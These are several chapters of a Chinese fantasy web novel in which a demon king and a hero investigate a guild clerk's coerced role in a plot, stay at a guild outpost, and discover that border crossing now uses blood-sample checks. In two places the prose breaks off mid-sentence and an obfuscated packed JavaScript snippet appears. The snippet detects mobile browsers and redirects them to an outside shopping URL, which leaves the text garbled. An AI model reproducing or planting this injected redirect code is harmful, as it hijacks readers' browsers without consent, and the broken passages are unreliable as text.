在那个柜台后工作了数年,海伦见过太多昙花一现的冒险者,无论有何等经验、何等才能,在这吃人的地狱中都活不过两个月。在她看来,没有什么东西比自己的性命更重要了,如果相信叶隐的结果是自投罗网,那样的话,还不如一开始就装作什么都没有发生,赌幕后之人会无视他们的存在,留他们一条小命。 但是……她根本没有期待过的、最大的希望,此刻就在眼前,她真的能视而不见吗? “你的心里,也是希望那些视人命如草芥的人,能得到制裁的,对吧?” 叶隐踏前一步,向海伦伸出右手,信誓旦旦道:“不必担心,天塌下来还有高个顶着呢!你已经不需要独自承担一切了。把你知道的所有事都告诉我们,即使这件事背后是天王老子,我也会狠狠踢他屁股!” 海伦被他的承诺吓了一跳,有点好笑,又有点苦涩。 她眼神闪烁,抿了抿嘴,深吸一口气,最终还是伸出双手抓住了叶隐的右手,郑重道:“好的…我会把我知道的一切,都告诉你们。” 32. 海伦的笔记 海伦带着众人继续向下,来到她的卧室。 这个房间本就不大,加上放置了许多书籍、装饰等零碎之物,更显得逼仄,不过相对的,生活气息则是很浓,一看便知是个温暖的窝。 安塞尔显然不是第一次来了,他默默拿出装有同伴遗物的小包,将队长卡莎的法师徽章递给海伦,后者同样什么都没说,只是接过这枚徽章,写了张便签将其包裹起来,放进抽屉。 叶隐偷偷瞟了一眼,那一整只抽屉里都是被便签裹着的、各式各样的小东西,而包裹徽章的便签,上面写的是“卡莎”。 “别人的东西都没有保留下来,很抱歉。”安塞尔收好小包,低声道,“至于我妹妹的东西,我会亲自带回去。” 海伦头也不抬,以聊家常般的语气说道:“终于打算回去了吗?也好。” 安塞尔苦笑一声:“我果然还是适应不了这种地方,可惜直到现在才肯承认这点……等这件事解决,我就启程。” 海伦不赞同地摇了摇头:“事情解决前,不要说那种话。” 她不再多言,转而打开另一只放着杂物的抽屉,拆开抽屉下方的隐藏隔层,从中取出一本巴掌大的笔记本,翻到中间某一页,递给叶隐。 “这是我整理出来的记录,想着万一我记性变差,或者死了,至少这件事不会成为永远的秘密。”海伦说道,“你先看看吧,有什么问题再问我。” 叶隐拿过笔记本翻看,上面以第一人称的形式讲述了海伦自己被胁迫的前因,后方还有一篇对话记录。文章通篇不算长,看来海伦与对方并没有什么联系,只是见过一两面而已,另外,从字里行间看得出,海伦在那段时间里并不平静,并选择了用记录来缓解自己内心的挣扎。 “……那个男人,一身黑衣,没有留下任何可以用于指代他的称呼,面孔也隐藏在兜帽和口罩之下,只有身高和声音或许能作为辨识的线索,但后者难以在此处用纸笔形容…… “他说话的腔调很特别,有些北方口音,语气在和善与冷酷间左右横跳…… “他给了我一袋粉末,量非常少,他叮嘱我必须一次性全部喂给安塞尔,我问他这是什么,是不是毒药?他说那不是毒药,是对全人类都好的东西,那到底是什么意思?我不相信他,可我…… “……他不是通过正规手段进入结界的,他压根不是登记在册的资深冒险者,事后我检查结界,发现结界对于他的到来既没有记录,也没有任何反应。 “我是学习过结界修复的正规法师,我知道,这绝对不是因为结界故障,一定是因为结界本身的术式被破解了! “那个男人身上没有魔力反应,我确定他只是个代行者,而他背后的人、或者势力,一定包含一位强大的法师,而且非常了解冒险者公会的结界,可我身份低微,叫不出任何一个能做到这种事的人的名字…… “他的威胁不是谎言,只要他想,他可以随时杀了我,甚至把这座据点变成一个只进不出的血盆大口,把所有踏入此地的冒险者都嚼碎……” “……据点的负责人伊森先生,我依然没有联络上他。我不敢在信里提及那个男人的事,如果伊森先生能回来,也许我会有勇气与他面谈此事,可他至今没有下落,我甚至不知道他是否还活着……” “……我还是把卡莎他们派出去了,卡莎还感谢我将这个报酬丰厚的任务交给她,我不敢看她的眼睛……” “服了药的人只有安塞尔,他会死吗?其他人能回来吗?” 叶隐将这段不长的文字翻来覆去看了几遍,眉头蹙起。 海伦没有什么选择,也没有任何筹码可以为自己争取利益,她对那个黑衣人的了解自始至终都少得可怜。 性别、身高、口音、魔力什么的,最多能够作为缩小搜索范围的依据,而真正能锁定搜索范围的,只有“公会的结界对其毫无影响”这件事。 能够破解公会结界的法师,黑衣的男人…… 类似的组合,他是不是见过来着? 叶隐头疼地敲了敲脑袋,他感觉有什么线索在脑中呼之欲出,却始终蒙着一层纱,看不真切。 不应该啊,他自从穿越过来,本就没见过多少人,要是真遇到过类似的组合,怎么会想不起来呢? ……难道,不是在现实中见过,是梦见的? 梦…… 叶隐一个激灵,脑中灵光一闪。 是那个,希恩的记忆! “你只要知道他还活着就行了,但如果你一直不配合的话,接下来会发生什么,可不好说,时间不等人啊。” 那个阴险的男人,他将希恩和希冯抓住,又对希恩表现得和善,但实际上,那时的希冯正在其他房间遭受残忍的审讯。希恩脱逃之后,他更是毫不留情地出手,直接导致希恩濒死,魔王之血暴走…… “可爱的小弟弟,教会这样的庞然大物可不需要指定个别人为它效力,即使你能活死人、肉白骨,那又怎样?……教会真正需要的,从来只是抹除一切可能动摇它根基的不安定因素罢了。” ……那个时候,那家伙应该还是教会的人,但教会和魔法格格不入,这就与海伦的判断相悖了。 难道说,他不仅从希恩的暴走中活了下来,甚至在那之后脱离教会,另寻了新主? 并非不可能。 在希恩的记忆中,那家伙还并未遮掩容貌,叶隐还能回忆得起他的五官,而与海伦会面的人却把自己包裹得严严实实,很可能就是出于阵营变更后隐藏身份的需要。 至于另一边,强大到能够破解公会结界的法师……目前为止,叶隐还没有遇到过,但希恩遇到过的那位,嫌疑很大。 是的,叶隐终于回想起来了,他之所以对“法师和黑衣人”的组合眼熟,是因为这两个形象同时出现在了希恩的那段记忆中。在梦境的其他要素逐渐沉入潜意识之后,只剩下了几个给他留下深刻印象的存在,其中就包含那个冷酷的黑衣人,以及那位他看不透的法师。 尽管那位法师当年还很年轻,但已经是个能在县级图书馆里建立自己密室的法师了,且自称掌握着皇帝都不知晓的情报——某位“大法师”的住址,现在进化到了什么程度更是难以估量。除了那位不知其名的大法师外,他就是叶隐所知的最强法师了,而他的年纪可能比叶隐还小,前途不可限量。 不过,那两人唯一的共同点就是都遇到了希恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290988|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,至少在记忆中的那一时刻,他们彼此之间应该没有任何关系才对。 至于那个黑衣人后来是否跳槽到了那位法师的麾下……会有这么巧的事吗? 叶隐沉思的时候,尤利西斯从他手中拿过了笔记,将其读完。 他抬头看向仍在沉思的叶隐,问道:“现在的你,能够做到吗?破解门口的结界。” 叶隐:“……”当着工作人员的面问这个没关系吗? 顶着海伦的凝视,他无奈回道:“不行,结界魔法是一个比较特殊的魔法类别,靠直觉没法构建得很好,需要丰富的知识和术式积累,这是我的弱项。而公会的结界是一种复合结界,不比魔…咳,不比那座城的结界简单,难度上属于最高级别。” “连你都做不到的话,范围就可以缩得很小了。”尤利西斯说道,“但很遗憾,候选者依然有两位数,而且我也说不清具体都有些谁。” 他见过的达官显贵不少,也正是因为见得太多,又大都是些无效人脉,不是足够特别的人,真的很难让他记住名字。身份越是高的人,名字也越是长,虽然站在平民中时显得鹤立鸡群,但当贵族、牧师、法师混在一起时,尤利西斯就完全分不清谁是谁了。 于是叶隐转头看向海伦,道:“有没有可能再见那个黑衣人一面?他理应还在附近等待最终结果吧?现在安塞尔回来了,说明他没有达成目的,他很可能会再来找你的。” 海伦回道:“的确,有那样的可能,不过他从未确定过会再来,我也不知道他此时在何处,更不知道该怎样联络他。” “那就先停留几天,观察一下情况吧。”叶隐说道,“这里可以住宿吗?” 海伦点头:“可以的,我们有集体宿舍,还有客房,不过客房只剩一间了。” 叶隐低头掏了掏自己的兜,摸出一枚颇有年头的戒指——从魔王城的宝库里拿出来的——递到海伦眼前,问:“这个能抵费用么?” 海伦接过戒指打量,神情认真起来,道:“请稍等,我需要鉴定一下。” 她将戒指放在掌心,双掌合拢,闭上眼睛,有光芒从掌缝中透出,很快又黯淡下去。 鉴定魔法,叶隐在浏览水晶球的时候看到过,它能够大概估量一个物件的年代、完整度、物质组成等,在很多领域都是必备的魔法,不过基础版本的偏差度很高,所以真正的鉴定专家都会根据自己的鉴宝经验来改造术式,使其更加准确,只是那样的大师版通常不外传,也就不会记录在水晶球里。 鉴定完成,海伦的神色反而变得有些微妙:“叶隐先生,这枚戒指的价值足以把我们整个据点都买下来了。” 叶隐不假思索地道:“行啊,卖吗?” 海伦忍俊不禁,轻咳一声掩盖住笑容,正色道:“这个据点不仅仅是一个据点,更是帝国在魔物界安插的一枚重要棋子,在对魔物的情报工作上有无可替代的地位,所以不可能出售的,十分抱歉。即使是负责人伊森先生在这里,也会给您同样的回答。” 叶隐为难道:“可我身上大概没有更适合拿来付账的东西了。” “我们也收取食物这样的硬通货。” “哦!早说嘛!” 33. 他想要的东西 “我睡宿舍就好了,反正不是第一次了,我很习惯的。”安塞尔主动说道,“因为公会的人员流动很快,加上大部分冒险者的时间主要是在野外度过的,很多人只是需要一个放置行李的地方而已,所以就有了那两间床挤床的集体宿舍,实际上只是看着有点吓人而已,根本住不满的啦,没有那么多人。” “那就这样吧。”叶隐道。 安塞尔犹豫了一下,道:“还有一件事,我稍微提一下哦,因为我之前听你提到过头发的事……如果你需要理发的话,可以找海伦小姐。大厅里不是有块板子吗?上面写了提供理发业务,负责操刀的就是她,她的技术很不错的。” 叶隐微怔,揽过身后悬浮着的长发捋了捋,“这倒是可以考虑一下。” 整理下发型,修剪个刘海什么的,说不定能加强他的气场,让他的形象更有辨识度? ……无论名义上还是实质上,叶隐才是队伍的领袖,可第一个被外人注意到的队伍成员永远是尤利西斯,叶隐对此是有点意见的。 这也难怪,毕竟尤利西斯的发色和瞳色辨识度实在太高,而他本人又没有伪装的意愿——也许先前尤利西斯是有些自怨自艾,但至少在和叶隐谈开后,他已经不再觉得,自己从“勇者”变成了“前勇者”,就没有资格再用这头银发和这双金瞳。纵使那不是他天生的特征,却早已成了他人生的一部分。 那就是真实的他,毋庸置疑。他愿意临时伪装,却不愿意彻底改头换面、以另外的身份行走世间,至少目前为止,没有什么原因值得他那么做。哪怕勇者的身份极为扎眼,哪怕叶隐的真身必须保密,哪怕他做了许多与勇者之名不符的事,以至于理应受到全世界的追杀,也无法让他割舍自我。 叶隐对此是乐意的,在他眼里,尤利西斯的发色和瞳色,甚至是其标志性的高马尾,早就成为了其固有形象的一部分,如果这些都变了,尤利西斯在他眼中的魅力至少要下降……二十个百分点,所以他毫无意见——可这不代表他对自己总是被忽视也没有意见。 叶隐绝对不想被别人认出魔王身份,但光靠躲藏是行不通的。他早就不再是过去那个平凡的大学生了,不管他乐不乐意,魔王这个标签已然将他深深锚定在这个世界漩涡的中心,无法逃离。 逆水行舟,不进则退,若一直躲在尤利西斯身后接受保护,他们迟早有一天会碰到尤利西斯也无法解决的状况,所以,他必须变得比尤利西斯还要强、还要引人瞩目,以“叶隐”而非魔王的身份,与尤利西斯并肩而立! 在尤利西斯提到海伦一直在注意他时,叶隐其实很开心,甚至觉得海伦很有眼光——虽然后面看来,那多半是因为海伦自己是魔法师,感觉到了他身上的魔力,所以特别关注了一下而已——但那也的确是叶隐想要得到的注意的一种。 ……想得好像有点远了,明明只是打算剪个刘海而已,比起他整个人来说,顶多算千分之一的改变吧。 叶隐沉思时,一只手忽然伸过来,揽了揽他耳边凌乱的发丝:“怎么了,突然变得很有气势。” 叶隐扭头看向尤利西斯,对方此刻看向他的眼神意外的温和,方才在海伦与安塞尔面前表现出的傻气荡然无存,但若说那是他故意为之,恐怕他自己都不信。 这个男人,该说是大智若愚,还是大愚若智呢…… 叶隐很想冷静下来仔细分析一下,不过转念一想,尤利西斯就是那种将瞬间的直觉凌驾于思考之上的人,这一点他自己就承认过,顶多是并非每一次的直觉都正确而已,便觉得没必要白费力气。 ……哎,兜兜转转,他对尤利西斯的感觉又回到了他第一次见到对方时的样子——上火! 他盯着尤利西斯看了好一会儿,忽然抬起手臂捂住眼睛,夸张地叫道:“啊!好耀眼!要瞎了!~” 尤利西斯:“?” …… 另一边,正藏在附近的灌木丛里待命的希冯…… “我要和尤利西斯留宿一段时间,可能是一天,或者几天,在此期间,你就和刚玉在附近随便溜达溜达吧,尽量别在其他人跟前出现就行~——by叶隐” “……” 眼前的魔法文字渐渐消去,口袋里的刚玉偷偷抬眼看向希冯,被他脸上可称阴森的神情吓得一哆嗦。 “那个,希冯大人……” 没有叶隐的联络魔法辅助,刚玉还是张口说出了人话——只有希冯知道,它其实能在老鼠之身下发出人声。这其实是理所当然的,这老鼠之身除了能施展少许与灵魂有关的魔法外,可谓百无一用,如果它无法通过语言直接与人沟通,那只能寄希望于老鼠的爪子能抓得住笔了。 彼时,刚玉还视希冯为魔王城中唯一的同伴,为了与其沟通而暴露了这一点,结果事实是包括希冯在内的所有人都在联合起来给它设套,而它也不负众望地一脚踩进陷阱里,最终被魔王掳为了鼠质,也不知何时才能重返军团…… 不过,从叶隐特意为它改良了联络魔法来看,也许希冯并没有将它能口吐人言的事告知其他人?……怀着这样的心思,刚玉觉得自己还是有希望把希冯拉拢到自己这边的。 再说了,希冯和勇者明显不对付。希冯大人是如今改名为“叶隐”的魔王陛下的亲弟弟,勇者尤利西斯却害陛下失去力量和记忆,甚至在做出那种事后,还厚颜无耻地对陛下怀有好感!甚至陛下还真的被他诱惑去了倾向人类的立场!它在旁边看着,都替魔王感到生气、都替希冯感到不值。 不难想象,如果领队并非魔王,他们二者绝无可能同行,说不定还要打个你死我活……总之,这也是个值得利用的关键! ——刚玉的幻想很美好,然而,它不知道的是,希冯告知叶隐有关它的事的方法,不是转述,而是直接给叶隐看自己的记忆…… “希冯大人,您应该没有想着找个地方消磨时间吧……?”刚玉小心翼翼地问道,“难得能自由行动,也许我们可以……” 希冯冷冷道:“轮得到你来指挥我?” “……叽。” 希冯的回答并不出乎意料,刚玉叹了口气,一脸生无可恋。 它现在就是个手无缚鸡之力的老鼠,连路边的鼻涕虫都打不过,希冯真的会在意它的死活吗?对方甚至是三人组中唯一没有给它喂过食、且一看就知道不会照顾宠物的人……虽然是可以尝试争取的对象,却完全算不上靠谱! 魔王打算留宿的时间完全没个准信,要是有四五天那么长,它或许可以尝试一下使用通灵魔法回到原身中,传递情报,再趁魔王再次开始行动前回归鼠身,若无其事地回到队伍,可这个计划的问题太多: 首先,被魔王吐槽后,它反思过了,它还是太年轻,灵魂强度和意志力都不强,无法确保自己的灵魂能撑过如此长途的旅行,万一灵魂在途中消散,便万事休矣。 其次,魔王随时有可能继续行动,到时候它灵魂出窍之事被发现,即使能传出情报,恐怕来不及回归,鼠身便会被处死,那样一来,黑曜石给它的最高任务——跟在魔王身边,观察情况——就失败了,它自己也有失去身体、继而灵魂消散而死的风险。传回情报的功劳难以抵得上损失,亦是大败。 最后,它虽然认为希冯可以拉拢,但眼下还八字没有一撇呢。它想在希冯眼皮子底下灵魂出窍,也得问问他愿 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难得和尤利西斯共处一室,有正儿八经的床睡,周围还没有碍事的家伙,结果是单人床! 好吧,这对大部分人来说可能更方便啦,但叶隐真的不想放任这么好的机会从手里溜走! 怎么办?要提议把两张床合在一起吗? 可恶啊,他应该在睡前开口的!现在尤利西斯肯定已经进入冥想状态了,贸然打扰他显得自己很欲求不满似的……不不,他倒也没想先○○再××什么的!太夸张了!那个暂且不提! 难得与尤利西斯同处一室,不管他打算睡觉还是冥想,至少是躺在床上了,这已经让叶隐足够开心了,要知道先前露营的时候,这家伙可总是找借口守夜,一坐就是一整晚,压根没有要和别人换班的想法!虽然知道尤利西斯一直是这么过来的,但叶隐就是看不得他不睡觉,现在起码已经迈出了好好休息的第一步。 ……哎,要是他能和尤利西斯睡同一张床,就更好了。 挣扎许久,叶隐长长吐出一口气,终于下定决心去做这件贪得无厌的事。 他翻身下铺,准备推动这张不算太沉的单人床。简单尝试过后,他觉得可行,便一点点往上加力,于是床铺开始轻微移动,床脚与地面摩擦,发出略显尖锐的滋滋声……直到与另一张床拼接到一起。 呼! 叶隐抹了把不存在的汗,蹑手蹑脚地重新爬上床——然后心脏“咯噔”一下。 黑暗中,尤利西斯那双仿佛能发光的金色眼眸正注视着他,并缓缓眨巴了两下。 叶隐:“……”虽然早知道他没睡,但被目击的感觉怎么这么尴尬? “那个,嗯……”叶隐清了清嗓子,“如你所见,我想和你一起睡。” 过了两秒,尤利西斯问:“和分开睡有什么区别吗?” 叶隐将手伸到两人枕头中间,五根手指像水母的触须一样,诱惑性地、波浪似地起伏着,他的声音亦是如此:“我可以摸到你,你也可以摸到我。” 尤利西斯看过去,随后捏了捏叶隐的手,满足道:“嗯,我摸到了。” 他抚摸着叶隐手背上的血管脉络,若有所思道:“但睡着的话,就不会感觉到这些了吧。” 叶隐反手抓住尤利西斯的手掌,轻哼一声:“说什么傻话,给你摸就是为了让你能安心睡觉啊,大家都是这样的。” 他将手指一根根插入到尤利西斯的指缝中,与其紧紧相握,一种前所未有的脚踏实地感随之升起,充盈了他的内心。 “睡吧,尤利西斯。”他说,“我想看着你睡着。” 34. 晴天霹雳 一夜平静地过去,黑衣人并未出现,也没有发生任何意料之外的事件。 根据昨天与海伦的约定,叶隐来到前台,一边喝着淡酒,一边等待她分配完其余冒险者的任务。 柜台上的酒都是有标签的,标签的色彩和花纹不比正儿八经的工业制品差,甚至有凹凸不平的防伪标识,玻璃瓶本身亦是如此。显然,它们不止是小作坊产品,更是借助魔法辅助了生产的造物,而酒这种东西,也的确配得上这般待遇,从公会宁可千里迢迢运酒过来,也非要让冒险者喝上,就可见一斑。 叶隐不是个酒蒙子,但柜台最高处那些酒,每一瓶里都蕴含着奇特的魔力,有些像火一样在烧,有些噼里啪啦地冒电火花,有些朦朦胧胧……看得他着实心痒得很! 在这个魔法像科技一样已经发展多年的社会,魔法会参与到酿酒中并不奇怪,但具体要做些什么,就是一门深奥的学问了,而相对的,只要能做好,收益也是极高的。诸如酒、烟草、咖啡等物,兼具提神醒脑的功能性与成瘾性,对任何一个世界的人类都是必杀技,这行确实大有可为。 “您想尝尝吗?” 一瓶没有标签的酒被递到叶隐跟前,叶隐抬头看向海伦,后者说道:“这瓶酒曾是伊森先生的珍藏,他在离开前允许我将它饮尽,我想,由我做主分一些给您,他应该会很高兴的。” “好啊。”叶隐笑了笑,“只是我酒量一般,所以别倒太多。” 海伦拿出两个高脚杯,为叶隐和自己分别倒了五分之一与三分之一杯。 她一边倒酒,一边问道:“尤利西斯先生居然还没有起床?还是说,早在我出来值班前,他就已经去忙了?” “不,他确实是还没醒。” 昨晚的成果远超叶隐的预期,尤利西斯居然真的在他旁边睡着了,而且睡得意外的死,如果不是生命体征一切正常,叶隐都要以为他是累昏过去了。 他倒不是叫不醒尤利西斯,而是没那个必要,对方不知道多少年没有睡正经觉了,这时候吵醒他?简直比魔王还要邪恶! “是吗……” 海伦放下酒瓶,重新塞上塞子,回忆道:“几年前,我在边境替公会跑商的时候,听说过许多他的事。那时候,大家都说他很严肃、很拼命,说他站着睡觉,说他每天要杀一千只魔物,说他只靠两条腿,两天时间就能从帝都赶到边境……” 叶隐捏起杯柄,转了转里面隐隐散发蓝光的酒液,眼神随即移到海伦身上,点评道:“不像假的。” “大家都觉得,责任心那样强的勇者非常可靠。”海伦率先抿了一口酒液,随后摩挲着杯沿,道:“但是,勇者和我一样,也是人类,我虽然敬佩他能做到那种程度,却更觉得他可怕。他对自己都能那样狠,他真的能理解像我这样的弱者的痛苦吗?真的是发自内心地愿意帮助他人吗?……我一度非常困惑。” “确实……呃啊!” 叶隐学着海伦抿了口酒,一个闪电般的激灵瞬间把他劈得外焦里嫩,眼神呆滞——这酒,是不是把他的舌头电了,还在揪着他的舌头打他? 天啊,他平时最多也就喝点啤酒、鸡尾酒而已!这酒虽然不是烈酒,可这从未接触过的香辛风味,以及物理意义上对舌头的电流般的刺激,只能用一个词形容:猎奇!海伦居然能面不改色地喝下去…… “嗯、那个啥,嘶……”叶隐大着舌头左右扭头,海伦适时给他递来一杯水,他咕咚咕咚将水喝下,终于长出一口气,正色道:“啊,我是想说……他其实做饭很好吃。” “咦,尤利西斯先生吗?!”海伦结实地吃了一惊,喃喃道:“他会做饭我不奇怪,但很好吃……这倒是我从来不敢想的事。” 叶隐耸肩,“我也不知道他怎么练的,反正在食物方面,他还是挺能理解别人需求的,做鼠粮也像模像样。” 海伦慢慢放下了酒杯,“鼠…粮?” “是啊,他喜欢老鼠哦,还养了一只当宠物。” 海伦:“……”她平时看到老鼠都是一飞弹打死的,居然有人养那种东西当宠物? “他还挺可爱的吧?有些时候甚至傻傻的。”叶隐托着下巴,笑道,“不必害怕他,他其实很孤独,很想要朋友的。” “似乎是那样呢。”海伦叹了口气,“可惜,我做了那样的事,已经没有资格与尤利西斯先生做朋友了。” 叶隐看了她一眼,不再多言。 他一口酒一口水地将高脚杯中的蓝色酒液饮尽,吐出长长的一口气:“这酒真特娘的带劲……” 海伦微笑道:“这款魔法酒名为‘快雨’,以白葡萄酒为底,加入了雷纹贝、霹雳果、闪纹蝶鳞粉等多种原料,由职业雷法师与其常年蕴养的雷电元素共同酿制,风味十足,这一瓶更是经过五年陈酿,对于初次接触魔法酒的人确实有些刺激。” 叶隐眯了眯眼,看向海伦,后者却不着痕迹地避开了他的注视,转身将酒放回橱柜中。 “好了,趁没有其他事务,来理发吧,叶隐先生。” 海伦从柜台的抽屉里取出剪刀,虚空“咔嚓”两下,语气骤然愉快了起来:“我还是第一次为头发如此之长的法师理发呢,我会尽力的。” …… 尤利西斯恢复意识的第一时刻,他体内的生物钟告诉了他:他清醒的时间,比平常从冥想中恢复的时间,晚了六个半小时。 他竟然真的睡着了…… 尤利西斯坐起身来,拍了拍昏沉的脑袋。大抵是太久没睡熟过,他的身体对突如其来的睡眠的反应很陌生,让他感觉哪哪都不太对劲。 但同时,他又清楚地意识到,现在的自己是安全的,即使他的身体在睡眠过后反应迟钝,也什么都不会发生。 他已经不是孤身一人了,不需要每时每刻保持警惕,也不需要强迫自己的身体机能维持在巅峰状态——因为有叶隐在。 他说,自己可以安心入睡,他说,他想看着自己睡着。 ……久违的睡眠,虽然不太适应,但握着叶隐的手入睡的那一刻,过去的回忆、对未来的焦虑,这些东西头一次完全地离开了他的脑海。 他的精神世界从未如此宁静。 ……而他,还想要更多。 啪! 尤利西斯忽然拍了拍自己的脸,让自己清醒,随即翻身起床,两三下扎好马尾、披上外套。 他面无表情地拉开房门,随后面露呆色,愣在了原地——站在门外,正抬手打算敲门的叶隐,也愣住了。 “啊,你醒啦。”叶隐反应过来,笑呵呵地招呼尤利西斯,然后撩了撩刘海,转了一圈,道:“我的发型做好了哦,怎么样?” 海伦自己的发型很干练,给叶隐这头又长又黑的头发编起发来倒是毫不含糊,相当体现功力。为了达到效果,叶隐从宝库里带出来的各种首饰都被她再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299815|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利用了起来,星星点点地装饰在长发上,加上分成数股、分别编辫、又互相交错的发丝,让叶隐的发型一下就变得精致甚至华丽了起来。原本用于使头发悬空的符咒还在,但被藏匿在了发束之中,使之不至于违和。 叶隐最初并不想要如此巨大的改变,他更喜欢松弛一些,但只是一次尝试的话,他也完全可以接受,便放任海伦施为了。反正有尤利西斯的净化术在,他甚至不用洗头发,只需要定期修复一下发型即可。 “很特别。”尤利西斯评价道,“你想要完全的新形象吗?” 叶隐摇头:“衣服就算了,这里也没有什么值得一换的衣服。” 尤利西斯的评价很简短,甚至夸赞之意都不明显,但叶隐已经满意了,对方毫无准备地开门看到他时,脸上神情从面无表情,到呆愣,再到惊讶、目光闪烁的转变,就是叶隐想看到的。 “另外,有件事得跟你知会一声。”叶隐道。 “什么?黑衣人有线索了吗?” “不是。”叶隐说罢,随即将对话转入了心灵感应:“通关的事,我们可能得另想办法了。” …… “其实,此次来公会据点,我还有一件事要做,就是获取通关证明。” 在海伦为叶隐打理头发时,叶隐忽然如此说道。 看到海伦的神情慢慢变得沉凝之后,他接着道:“我听闻资深冒险者可以取得通关证明,却不知晓能否在此地加入公会、成为冒险者,甚至是直接成为资深冒险者,所以我想问问你相关事宜。” 海伦轻笑一声,一边继续着手上的动作,一边回道:“通常来说,不持有通关证明的人类是无法来到这里的,莫非您曾经犯下过无证越境之罪?那如今又为何需要通关证明了呢?” 叶隐一本正经地胡说八道:“其实我祖上是远古时期逃难出来的,他们消息闭塞,甚至不知道自己所处的地方已经成了魔物的领地,后来想回帝国也回不去了,我就是在这个环境下长大的。” 稍微酝酿了下,他继续编道:“我从没去过帝国,第一个见到的外人就是尤利西斯,他为了斩杀魔王才孤身来到魔物界,作为一个人类,我当然是选择跟随他、帮助他。然而,眼下搜寻许久,依然没有魔王的踪迹,我们得回帝国补给一趟,寻求更多支援,那便得想办法搞到这张通关文书才行。” “那样的话,有点麻烦呢。”海伦说道,“其实,就在两个月前,在星空研究所的支持下,边境大结界的术式又进行了一波更新。” 叶隐:“?” 你们帝国生死攸关的大结界,更新居然勤劳得像互联网大厂做的社交软件……不过,想想这东西的建立和维护,也算是百万漕工衣食所系,钱往这处使倒是正常。 就是这时间,两个月前,而且尤利西斯不知道这码事……莫不是他前脚出境,帝国后脚就开始整改?虽然他当时的确是偷了勇者之剑,不过重点是不是搞错了啊?! 并不知道叶隐心中所想,海伦继续道:“所有在职的、以及未来要入职的公会成员,都已经或将要被收集血样,那些血样由法师协会集中保管,用来辅助大结界中查验过境者身份的模块运作。通关证明什么的,已经被逐步取代了,以后能够过境的人,无论是不是冒险者公会的成员,都至少已经录入过血样信息,除此以外的人,是绝无可能通过正规方式入境的。” 叶隐:“……???” 35. 勇者之师 “通过血样辨识通关者?竟有这等事!” 尤利西斯果然对此一无所知,面露愕然。 将叶隐迎进屋里,尤利西斯关上房门。二人坐在各自的床上陷入沉思。 叶隐看上去倒比尤利西斯还要轻松:“这样的话,似乎只剩下强行破解结界一个方法了呢。” 尤利西斯拧眉看着他:“可你先前才说做不到。” “现在做不到,不意味着之后也做不到嘛,不要小看我的学习能力啊。”叶隐翘着二郎腿道,“再说,已经有人为我示范过了,‘与大结界类似的公会结界是可以被破解的’。既然这条路的可行性已经被验证,那往这个方向努力,至少不是在做无用功。” 尤利西斯吁了口气:“……那,姑且先试着去做吧,我们的时间还是比较充裕的。” 以叶隐这游山玩水的速度,他们应该有充足的时间来琢磨破解结界一事。实在不行的话,他们还有一条后路,那就是直接绕过帝国领地,翻过那群海拔五千米的山岭,进入海洋,一脚跨过传说中的北极旋涡,再从岸边一路爬上万米高的雪山…… 那条遍布天险的路线根本无法称之为路,但对他们这支集齐了魔王、勇者、大魔的队伍而言,并非不可挑战,问题只在于取舍而已——是宁可被帝国察觉到异常,也要强闯大结界不可,还是宁可挑战极限,也不希望被帝国发现? “既然通关证明无望,你还打算加入冒险者公会吗?”尤利西斯问叶隐。 “这个嘛……” 公会里的其他冒险家佐证了海伦的说法,所以叶隐不觉得是海伦撒了谎,那样一来,他加入公会的最大目的也就不存在了。只是,系统已经给他下发了任务,如果他表现出拒绝,恐怕难逃惩罚。 他第一次被系统惩罚,是拒绝逼迫尤利西斯称他“主人”,惩罚内容是陷入临时疯狂1小时,他抽中的疯狂症状是饥饿恐惧症。当时的他,狼狈得就像条下一秒就要饿死的鼻涕虫,既没力气动弹,肚子里又像水煮开了似的翻滚,只好黏着刚认识的尤利西斯,求人家给他做饭吃……回想起来都臊得慌! 而这次任务失败的惩罚,可是整整24个小时的临时疯狂!万一抽中比上次更糟糕的症状,他便唯有寄希望于尤利西斯能打晕自己了…… “让我再考虑一下。”叶隐含糊地回道。 从那一次经验来看,即使他不准备做任务,系统也不会立刻判定他任务失败,而是在他主动声明拒绝任务后,才进入惩罚流程。由此看来,就算他不打算加入冒险者公会了,也不能现在就承认这一点,不然等进入长达24小时的废物状态后,他就没法应对随时可能出现的黑衣人了。 “嘛,先不说这个。”叶隐迅速转移了话题,“海伦还说,她提前收到了消息,一批冒险者会在今天之内抵达这边,我们得注意着点了。” 他隐约有种预感,黑衣人或许早就离开了,但那不意味着这个事件已经结束。安塞尔活了下来,就意味着幕后之人没能达成目的,只要他意识到了这一点,便理应不会善罢甘休,只是不知道他本人或他的部下会以何种形式再出现? 如果现在身处据点附近的冒险者,以及即将抵达据点的那群冒险者中,就包含了幕后之人的眼线,乃至下属,那么对方、或者说那个势力对冒险者公会的影响力,或许比叶隐和尤利西斯最初所想的还要强。 …… 海伦提到的那群冒险者,果然在天黑之前就来到了据点中。 说是“一群”,其实只有四个人。资深冒险者的数量本就极少,此地又凶险异常,之所以还有人愿意来,报酬足够丰厚这一因素占了大半,剩下的全看这帮人对自己的实力有多自信,抑或是具备怎样强大的冒险精神。 